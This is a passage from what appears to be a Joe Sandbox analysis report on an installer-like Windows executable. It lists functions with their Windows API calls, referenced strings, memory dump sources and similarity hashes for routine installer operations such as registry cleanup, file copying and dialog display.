CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Strings

*?|<>/":, xrefs: 004060B6

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction ID: be175804d259169a812840791ea7ca7df426672d81dd27f3292f2fdf866f60ab
Opcode Fuzzy Hash: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction Fuzzy Hash: E311C81188022159DB30FB698C4497776F8AE55750716843FE9CAF32C1E7BCDC9182BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction ID: c67b0bc93acae55c3864b02ebd95f02f7c15995ce12be8144693d1f813214158
Opcode Fuzzy Hash: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction Fuzzy Hash: EB117976500008FFDF119F90ED859AA3B7AFB84348F004476FA0AB5070D3358E509A29

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00409838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

GlobalFree.KERNEL32(008CAFB8), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction ID: 214764af72b390ffa64cdeb44d1c6cd0e8ca06a9e3a7070d0c65f9f565939ffa
Opcode Fuzzy Hash: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction Fuzzy Hash: 0D112572A0010AAFDF00EFA1D9459AEBBB8EF08344B10447AF606F61A1D7798A40CB18

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54memoryfilestringCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction ID: eb70b36e00a6049791e454e439637436730f967712bedb277b0d85a94317bb29
Opcode Fuzzy Hash: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction Fuzzy Hash: 7F016171600205FFEB14AF60DD4CE9E3B78EB05359F10443AF606B91E2D6799D81DB68

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction ID: 8f71947f799b2f64a69df86d2a8dcb393400c967cd863db52f2ee5b4f8782dab
Opcode Fuzzy Hash: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction Fuzzy Hash: 9DF012B2A00104BFE700EBA4EE89DEFBBBCEB04305B104575F502F6162C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction ID: 6a5c1514d43e21eed083d94b15ba6593763dc9af2b3e6337d8774d5f4809249f
Opcode Fuzzy Hash: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction Fuzzy Hash: 56217171900209BADF15AFB4D886ABE7BB9EF04349F10413EF602F60E2D6794A40D758

Function 004043D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00451D98,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00451D98,?), ref: 00404476
wsprintfW.USER32 ref: 00404483
SetDlgItemTextW.USER32(?,00451D98,000000DF), ref: 00404496

Strings

%u.%u%s%s, xrefs: 00404470

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction ID: 019992b557dc20c415266b5889428492ee6a52d86c3b4952972254649920ef77
Opcode Fuzzy Hash: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction Fuzzy Hash: DC11527270021477CF10AA699D45F9E765EEBC5334F10423BF519F31E1D6388A158259

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

DeleteRegValue: "%s\%s" "%s", xrefs: 00402820
DeleteRegKey: "%s\%s", xrefs: 00402843

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction ID: 70287f52249eeba914cab3bee2f8f529b2cd5257afac1a85b0186071c419a2a5
Opcode Fuzzy Hash: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction Fuzzy Hash: 2511E732E00200ABDB10FFA5DD4AABE3A64EF40354F10403FF50AB61D2D6798E50C6AD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406301: FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
Part of subcall function 00406301: FindClose.KERNEL32(00000000), ref: 00406318

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction ID: 7c1d43f40acf3f33c375e3424532232737b5c7d4dc38a4161669d523a66d0fcf
Opcode Fuzzy Hash: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction Fuzzy Hash: 8A114F71D00214AADB10FFF6984699FBBBCAF44354B10843BA502F72D2E67989418759

Function 00406250 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 004062A4
lstrcatW.KERNEL32(00000000,...), ref: 004062C7

Strings

%02x%c, xrefs: 0040629C
..., xrefs: 004062BF

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction ID: 9bf571533c0fd83e5fe1ff618cfd19ea7d9613251e6e948213dceada22d50e27
Opcode Fuzzy Hash: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction Fuzzy Hash: E201D272510219BFCB01DF98CC44A9EBBB9EF84714F20817AF806F3280D2799EA48794

Function 00405073 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405083

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

OleUninitialize.OLE32(00000404,00000000), ref: 004050D1

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

Section: "%s", xrefs: 004050A5
Skipping section: "%s", xrefs: 004050E1

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction ID: 3a4ae3dd184d198318ece42e1af7a5bc75ccdc2bd7a030bb5b2a43e0dda7b67b
Opcode Fuzzy Hash: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction Fuzzy Hash: 0EF0F433504300ABE7106766AC02B1A7BA0EF84724F25017FFA09721E2DB7928418EAD

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00425976,74DF23A0,00000000), ref: 00406902

CreateFontIndirectW.GDI32(00420110), ref: 0040216A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction ID: 0ba792ce9c48b24537a9dfec97a4105c0a721b5be590283e64661935fd66df2d
Opcode Fuzzy Hash: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction Fuzzy Hash: B6018872B042509FF7119BB4BC4ABAA7BE4A715315F504436F141F61E3CA7D4411C72D

Function 00407224 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406EFE: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407265
lstrcmpW.KERNEL32(?,Version ), ref: 00407276
lstrcpynW.KERNEL32(?,?,?), ref: 0040728D

Strings

Version , xrefs: 0040726D

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction ID: f6016284c167eb8c93e4c4d2cd91337f160ffdcdaea293fd9af5b6974d265005
Opcode Fuzzy Hash: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction Fuzzy Hash: 74F08172A0021CBBDF109BA5DD45EEA777CAB44700F000076F600F6191E2B5AE148BA1

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,0040372F,00000001,?,?,?,00000000,00403A73,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A73,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.1686861096.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1686846008.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686875805.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686889526.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.000000000050A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1686972296.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_appFile.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
